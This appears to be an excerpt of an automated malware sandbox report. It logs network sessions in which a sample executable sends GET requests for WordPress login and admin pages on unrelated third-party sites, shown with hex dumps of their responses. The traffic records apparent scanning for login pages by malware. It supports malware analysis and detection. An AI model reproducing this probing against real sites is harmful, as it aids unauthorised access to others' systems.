2023-11-26 06:00:05 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:04 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:05 UTC	6439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	57282	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	173	OUT	GET /admin/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:05 UTC	302	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 06:00:04 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 06:00:05 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	57155	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	172	OUT	GET /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:04 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 06:00:06 UTC	4130	IN	Data Raw: 31 30 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 101a<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 06:00:06 UTC	2144	IN	Data Raw: 38 35 39 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 Data Ascii: 859<script type="text/javascript" src="https://gccb.co.in/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script type="text/javascript" src="https://gccb.co.in/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id
2023-11-26 06:00:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	57310	54.233.137.124	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:04 UTC	267	OUT	GET / HTTP/1.1 Host: www.rech.com Accept: / Accept-Encoding: deflate, gzip Cookie: originDirect=true; SESSION=c96b998b-a74b-45b6-ad7c-cfc7be5f76e0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 06:00:05 UTC	396	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 70 74 2d 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:05 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Strict-Transport-Security: max-age=315360
2023-11-26 06:00:05 UTC	15988	IN	Data Raw: 37 65 36 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7e69<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
2023-11-26 06:00:05 UTC	16381	IN	Data Raw: 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 68 72 65 66 3d 22 2f 63 61 74 65 67 6f 72 69 61 2f 6d 61 71 75 69 6e 61 73 2d 65 71 75 69 70 61 6d 65 6e 74 6f 73 2f 63 61 6d 62 69 6f 2d 74 72 61 6e 73 6d 69 73 73 61 6f 22 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 20 20 20 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 63 61 6d 62 69 6f 2d 74 72 61 6e 73 6d 69 73 73 61 6f 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 Data Ascii: class="sub-menu-item-link" itemprop="url" href="/categoria/maquinas-equipamentos/cambio-transmissao" onclick="sendKinesisDataAjax({actionID: 'click',actionData:`cambio-transmissao - category2`})">
2023-11-26 06:00:05 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 67 65 74 4d 61 63 68 69 6e 65 49 6d 67 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 74 68 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 27 20 2b 20 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 2b 20 22 2f 22 3b 0a 09 09 72 65 74 75 72 6e 20 74 68 65 55 72 6c 20 2b 20 27 2e 2e 2f 2e 2e 2f 61 73 73 65 74 73 2f 61 6d 61 7a 6f 6e 2d 34 32 33 31 2f 74 72 61 63 74 6f 72 2e 70 6e 67 27 3b 0a 09 7d 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 09 09 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 0a 09 0a 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 66 61 6c 73 65 22 20 69 64 3d 22 69 73 45 6e 61 62 6c 65 4d 75 6c 74 Data Ascii: 7fe0<script>var getMachineImg = function(){var theUrl = 'https://' + location.hostname + "/";return theUrl + '../../assets/amazon-4231/tractor.png';}</script></header><input type="hidden" value="false" id="isEnableMult
2023-11-26 06:00:05 UTC	16360	IN	Data Raw: 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 3e 0a 09 09 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 73 2e 63 77 73 2e 64 69 67 69 74 61 6c 2f 66 6f 72 6e 65 63 65 64 6f 72 65 73 2f 66 75 6c 6c 2f 72 65 63 68 2d 61 67 72 69 63 6f 6c 61 31 2e 6a 70 67 22 20 63 6c 61 73 73 3d 22 69 6d 67 2d 6c 6f 67 6f 22 20 61 6c 74 3d 22 4c 6f 67 6f 22 2f 3e 0a 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6c 6f 67 22 20 3e 0a 09 09 09 09 3c 64 69 76 3e 0a Data Ascii: s="footer__logo"><a href="/" itemprop="url"><img src="https://images.cws.digital/fornecedores/full/rech-agricola1.jpg" class="img-logo" alt="Logo"/></a></div></div><div class="container-secondary-blog" ><div>
2023-11-26 06:00:05 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 70 72 69 63 65 43 75 72 72 65 6e 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 42 52 4c 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 43 6f 6e 64 69 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4e 65 77 43 6f 6e 64 69 74 69 6f 6e 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 61 76 61 69 6c 61 62 69 6c 69 74 79 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 49 6e 53 74 6f 63 6b 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 70 72 69 63 65 22 20 63 6f Data Ascii: 7fe0https://www.rech.com/"/><meta itemprop="priceCurrency" content="BRL"/><meta itemprop="itemCondition" content="https://schema.org/NewCondition"/><meta itemprop="availability" content="https://schema.org/InStock"/><meta itemprop="price" co
2023-11-26 06:00:05 UTC	16360	IN	Data Raw: 65 73 74 2e 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 74 6f 63 6b 2d 69 64 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 74 6f 63 6b 49 64 7d 7d 22 0a 09 09 09 09 09 09 69 64 3d 22 73 6b 75 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 62 74 6e 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 6c 79 70 68 69 63 6f 6e 20 67 6c 79 70 68 69 63 6f 6e 2d 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 22 3e 3c 2f 73 70 61 6e 3e 41 64 69 63 69 6f 6e 61 72 20 61 6f 20 63 61 72 72 69 6e 68 6f 0a 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 0a 09 09 09 09 0a 0a 09 09 09 09 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 61 6c 2d 63 61 6c 63 75 6c 61 74 6f 72 20 6d 6f 64 61 6c 20 66 Data Ascii: est.stockRemaining}}"data-stock-id="{{sku.best.stockId}}"id="sku-add-to-cart-btn"><span class="glyphicon glyphicon-shopping-cart"></span>Adicionar ao carrinho</button></form><div class="modal-calculator modal f
2023-11-26 06:00:05 UTC	3250	IN	Data Raw: 63 61 62 0d 0a 0a 09 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 6e 61 6d 65 29 20 7b 0a 20 20 20 20 09 09 09 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 6e 61 6d 65 20 2b 20 27 3d 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 27 3b 0a 09 09 09 7d 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 74 6f 6b 65 6e 27 29 3b 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 73 75 62 64 6f 6d 61 69 6e 27 29 3b 0a 09 09 09 64 65 6c 65 74 65 43 6f 6f 6b 69 65 28 27 74 6f 6b 65 6e 2d 77 73 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 09 Data Ascii: cab<script type="text/javascript">function deleteCookie(name) { document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';}deleteCookie('token');deleteCookie('subdomain');deleteCookie('token-ws');</script>
2023-11-26 06:00:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	57406	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:05 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:06 UTC	492	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:05 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:06 UTC	7700	IN	Data Raw: 32 38 62 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 28bc<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:06 UTC	2734	IN	Data Raw: 64 6f 6d 61 69 6e 20 29 3b 0a 7d 20 29 28 20 22 64 65 66 61 75 6c 74 22 2c 20 7b 22 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 76 69 73 69 6f 6e 2d 64 61 74 65 22 3a 22 32 30 32 33 2d 31 31 2d 31 30 20 31 37 3a 31 38 3a 34 37 2b 30 30 30 30 22 2c 22 67 65 6e 65 72 61 74 6f 72 22 3a 22 47 6c 6f 74 50 72 65 73 73 5c 2f 34 2e 30 2e 30 2d 61 6c 70 68 61 2e 31 31 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 6c 6f 63 61 6c 65 5f 64 61 74 61 22 3a 7b 22 6d 65 73 73 61 67 65 73 22 3a 7b 22 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 70 6c 75 72 61 6c 2d 66 6f 72 6d 73 22 3a 22 6e 70 6c 75 72 61 6c 73 3d 32 3b 20 70 6c 75 72 61 6c 3d 6e 20 21 3d 20 31 3b 22 2c 22 6c 61 6e 67 22 3a 22 65 73 5f 4d 58 22 7d 2c 22 25 Data Ascii: domain );} )( "default", {"translation-revision-date":"2023-11-10 17:18:47+0000","generator":"GlotPress\/4.0.0-alpha.11","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"es_MX"},"%
2023-11-26 06:00:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.4	57389	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:05 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
